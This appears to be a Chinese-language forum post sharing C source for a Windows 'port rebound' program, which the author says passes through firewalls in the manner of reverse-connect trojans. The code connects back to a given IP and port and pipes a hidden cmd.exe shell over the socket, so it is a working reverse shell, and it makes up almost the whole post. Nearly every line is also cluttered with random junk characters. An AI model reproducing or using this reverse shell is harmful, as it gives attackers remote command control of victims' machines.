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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ndMA-`Ny,  
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/* ============================== U!\.]jfS  
Rebound port in Windows NT >0TxUc_va  
By wind,2006/7 f r6 fj  
===============================*/ yWo; a  
#include I,vJbvvl!  
#include Qpc__dA\  
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#pragma comment(lib,"wsock32.lib") {_p_%;  
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void OutputShell(); VuZuS6~#J  
SOCKET sClient; `+:`_4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3;]H1 1  
RMu~l@  
void main(int argc,char **argv) 'I6i ,+D/q  
{ y}ev ,j  
WSADATA stWsaData; h J)h\  
int nRet; JU&c.p /  
SOCKADDR_IN stSaiClient,stSaiServer; vV-`jsq20H  
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if(argc != 3) Z,Dl` w  
{ I:1C8*/  
printf("Useage:\n\rRebound DestIP DestPort\n"); T}v4*O.,  
return; bP&]!jZ  
} ~U&AI1t+J  
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WSAStartup(MAKEWORD(2,2),&stWsaData); sWnLEw  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K`fuf=  
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stSaiClient.sin_family = AF_INET; 6q.Uhe_B  
stSaiClient.sin_port = htons(0); \xw5JGm  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K_Eux rPn  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p}U ~+:v  
{ ^9:Z7 >Z  
printf("Bind Socket Failed!\n"); a~y'RyA  
return; 2.%ITB  
} uiR8,H9*M  
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stSaiServer.sin_family = AF_INET; t&e{_|i#+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ZyFjFHe+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N6i Q8P -  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8$Y9ORs4  
{ bq0zxg%  
printf("Connect Error!"); f x+/C8GK  
return; A_q3KB!$=+  
} L`TRJ.GaJ  
OutputShell(); l}K37f  
} hZt!/?dc  
6?c7$Y  
void OutputShell() mxdr,Idx  
{ tf`^v6m%]  
char szBuff[1024]; Z=vU}S>r|v  
SECURITY_ATTRIBUTES stSecurityAttributes; !%%6dB@%t  
OSVERSIONINFO stOsversionInfo; m^;f(IK5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )bscBj@  
STARTUPINFO stStartupInfo; T{[=oH+  
char *szShell; n,WqyNt*  
PROCESS_INFORMATION stProcessInformation; fVpMx4&F   
unsigned long lBytesRead; k~1?VQ+?M  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _E.>`Q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d>qY{Fdz  
stSecurityAttributes.lpSecurityDescriptor = 0; B:'US&6Lf'  
stSecurityAttributes.bInheritHandle = TRUE; Qd3 j%(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {F.[&/A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E+;7>ja  
9~[Y-cpoi  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7WZ+T"O{I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &0JI!bR(  
stStartupInfo.wShowWindow = SW_HIDE; f(MO_Sj]  
stStartupInfo.hStdInput = hReadPipe; JDT`C2-Q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BLD gt~h#  
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GetVersionEx(&stOsversionInfo); -e:`|(Mo  
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switch(stOsversionInfo.dwPlatformId) C1QA)E['V  
{ cSV aI  
case 1: Lw>N rY(Y  
szShell = "command.com"; 7hPY_W y  
break; f._ua>v,f  
default: r* Ca}Z  
szShell = "cmd.exe"; F7#JLE=  
break; #QMz<P/Gl6  
} \bw2u!  
s?nR 4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $qj2w"'  
P/_['7  
send(sClient,szMsg,77,0); W7nw6;7=  
while(1) %1+4_g9  
{ pYf-S?Y/V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c{w2Gt!  
if(lBytesRead) h@ry y\9  
{ R4:b{)=O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nAdf=D'P  
send(sClient,szBuff,lBytesRead,0); b d!Y\OD  
} 'TB2:W3  
else }@d@3  
{ 13x p_j  
lBytesRead=recv(sClient,szBuff,1024,0); ncT&Gr   
if(lBytesRead<=0) break; 1bwOm hkS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X!EP$!  
} lL0APT;  
} X#^[<5  
x7 ,5  
return; 4^o^F-k'  
}
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